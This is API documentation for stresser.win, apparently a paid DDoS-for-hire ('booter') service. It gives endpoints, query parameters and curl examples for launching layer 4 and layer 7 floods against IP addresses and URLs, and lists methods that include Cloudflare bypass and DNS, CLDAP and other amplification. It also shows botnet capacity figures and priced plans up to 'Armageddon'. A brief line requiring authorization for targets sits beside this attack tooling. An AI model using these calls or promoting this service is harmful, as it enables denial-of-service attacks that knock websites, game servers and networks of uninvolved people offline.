

stresser.win

Launch, inspect and stop attacks programmatically over a single REST interface. Authenticated with account API keys, limited by your plan, JSON in and JSON out.

stresser.win · Attack API v1 · October 2026

Contents

1. Overview	2
2. Authentication	2
3. Endpoints	2
3.1 Layer 4 — start	3
3.2 Layer 7 — start	3
3.3 Success response	4
3.4 Load and capacity	4
3.5 Stopping attacks	4
3.6 Common errors	4
3.7 Examples	5
4. Attack methods	5
5. Plan limits	5
6. Status codes and run states	6

1. Overview

The stresser.win Attack API is a plain REST interface over HTTPS. It exposes exactly one resource - the **attack** - so anything the workspace dashboard does with a launch can be done programmatically: start an attack, list history, read run status and request a stop.

All requests and responses use JSON (**application/json**). Duration is in seconds, power is the number of concurrent sessions ("concurrents"). Limits are enforced from your active plan.

Setting	Value
Base URL	https://stresser.win/api
Auth	API key, query parameter or Bearer header
Request / response format	JSON
Plan ceiling	40 concurrents · 3300 s max duration
Rate limiting	Authentication endpoints: 20 requests / 15 min

2. Authentication

Every call must carry an API key, either as the **token** query parameter or in the **Authorization** header. Prefer the header form so credentials are not retained in logs. Keys are created in the workspace (Dashboard - API keys); the full secret is shown exactly once at creation time and starts with **sw_**. Keys are scoped to your account: one key can only see and control the attacks of the account that owns it.

```
Query:  ?token=sw_A1b2C3d4E5f6G7h8I9j0K1l2M3n405p6Q7r8S9t0U1v2W3x
Header: Authorization: Bearer sw_A1b2C3d4E5f6G7h8I9j0K1l2M3n405p6Q7r8S9t0U1v2W3x
```

A request without valid credentials returns **401 Unauthorized**.

3. Endpoints

Method	Path	Purpose
GET	/api/start	Layer 4 — launch an attack on an IP target
GET	/api/l7start	Layer 7 — launch an attack on a URL or domain
GET	/api/attacks/load	Live platform load and capacity
POST	/api/v1/attacks/{id}/stop	Stop an active attack early

3.1 Layer 4 — start

GET /api/start

Launches a transport-level attack against an IPv4 or IPv6 target. All parameters are passed in the query string.

Parameter	Type	Required	Description
token	string	Yes	API key (sw_...), also accepted as a Bearer header
host	string	Yes	Target IPv4 or IPv6 address
port	integer	Yes	Target port (1-65535)
time	integer	Yes	Duration in seconds (5 to your plan limit)
method	string	Yes	L4 method name (section 4)
region	string	No	worldwide (default), eu, na, apac

```
https://stresser.win/api/start?token=YOUR_TOKEN&host;=1.2.3.4&port;=443&time;=60&method;=SYN
```

3.2 Layer 7 — start

GET /api/l7start

Launches an application-layer attack against a URL or domain. The port must match the target URL when one is given.

Parameter	Type	Required	Description
token	string	Yes	API key (sw_...), also accepted as a Bearer header
host	string	Yes	Target URL or domain, e.g. https://example.com
time	integer	Yes	Duration in seconds (5 to your plan limit)
method	string	Yes	L7 method name (section 4)
concs	integer	No	Concurrent slots, 1 to your plan max (default 1)
port	integer	No	Target port (1-65535), defaults to 443
crawl	boolean	No	Crawl the target first (HTTP-CLOUDFLARE / QUIC / SMART only)
deepcrawl	boolean	No	Deep-crawl the target (same methods only)
custom_id	string	No	Your own attack id (A-Za-z0-9_-), echoed in the response
region	string	No	worldwide (default), eu, na, apac

```
https://stresser.win/api/l7start?token=YOUR_TOKEN&host;=https://example.com&time;=60&method;=HTTP-BYPASS&concs;=1
```

3.3 Success response

Both start endpoints return JSON with ok, id (the attack id in the engine), host, method, time, launched and ends_at. Save the id or custom_id to find the attack in the dashboard history.

```
{\n  "ok": true,\n  "id": "9f1c...-...",\n  "custom_id": "my_attack_1",\n  "host": "https://example.com",\n  "port": 443,\n  "method": "HTTP-BYPASS",\n  "time": 60,\n  "concs": 1,\n  "message": "Check started. It stops automatically when the duration expires.",\n  "launched": true,\n  "ends_at": "2026-10-24T12:02:00.000Z"\n}
```

3.4 Load and capacity

GET /api/attacks/load

Live platform load: used L4/L7 and botnet slots, active attacks and attacks in the last 24 hours. Same token authentication.

```
{\n  "capacity": { "used": 42, "max": 600, "pct": 7 },\n  "l4": { "used": 30, "max": 800, "pct": 3.8 },\n  "l7": { "used": 12, "max": 800, "pct": 1.5 },\n  "botnet": { "used": 5, "max": 60, "pct": 8.3 },\n  "attacks_24h": 1842,\n  "active_attacks": 9\n}
```

3.5 Stopping attacks

Attacks stop automatically when time expires. An active attack can also be stopped early: press Stop in the Active attacks panel of the dashboard, or call **POST /api/v1/attacks/{id}/stop** with your Bearer key (works for both local and provider-executed attacks). The stop is best-effort: in-flight requests abort within a few seconds.

3.6 Common errors

Code	Meaning
401	Invalid or missing token
403	Target not allowed, ownership not verified, or plan without API access
400	Invalid parameters or method/profile mismatch
409	History is full, launch lock active, or no active run to stop
429	Rate limit exceeded (Retry-After header is set)
503	Runner not connected or no free platform slots
502	Upstream rejected the launch or the stop

3.7 Examples

```
curl "https://stresser.win/api/l7start?token=YOUR_TOKEN&host=https://example.com&time;=60&method;=HTTP-BYPASS&concs;=1"
```

```
curl -X POST "https://stresser.win/api/v1/attacks/9f1c.../stop" \n -H "Authorization: Beare r sw_..."
```

4. Attack methods

The method must match the selected profile. Layer 7 methods attack web endpoints; layer 4 methods operate on transport protocol level. Method names are case-sensitive uppercase strings.

Profile	Methods
L7	HTTP-BYPASS · HTTP-CLOUDFLARE · HTTP-QUIC · HTTP-SMART
L4	SYN · SYN-ACK · ACK · FIN · PSH-ACK · SYN-OPT · TCP-HANDSHAKE · OVH-TCP · TCP-TLS · UDP-RAND · UDP-PPS · UDP-TINY · UDP-CUSTOM · UDP-ZERO · UDP-BIG · CHAIN · ICMP · FIVEM · MINECRAFT · RUST · SAMP · DNS · CLDAP · WSD · STUN · OPENVPN · TCP-AMP-SYN

Crawling options apply only to HTTP-CLOUDFLARE, HTTP-QUIC and HTTP-SMART.

5. Plan limits

Duration and power are validated against the active plan on every launch. The absolute service ceiling is 40 concurrents and 3300 seconds per attack. All plans are billed monthly and are valid for 30 days.

Plan	Price	Concurrents	Max duration	API access
Free	\$0	1	60 s	n/a
Ash	\$21	1	300 s	No
Drift	\$32	2	480 s	No
Ember	\$48	3	600 s	No
Flare	\$64	4	720 s	Yes
Static	\$80	5	900 s	Yes
Bolt	\$96	6	1080 s	Yes
Cyclone	\$117	8	1200 s	Yes
Thunder	\$144	10	1500 s	Yes
Vortex	\$170	12	1800 s	Yes

Plan	Price	Concurrents	Max duration	API access
Wildfire	\$207	15	2100 s	Yes
Havoc	\$255	20	2400 s	Yes
Titan	\$371	25	2700 s	Yes
Colossus	\$477	30	3000 s	Yes
Armageddon	\$1189	40	3300 s	Yes

Attacks may only target infrastructure you own or are explicitly authorized to test. Domains are verified via DNS TXT records before local execution; raw IP targets require administrator allowlisting.

6. Status codes and run states

Run status	Meaning
Running	Requests are being sent until endsAt
Completed	Finished normally; requests / errors counters are final
Stopped	Stopped early by a stop request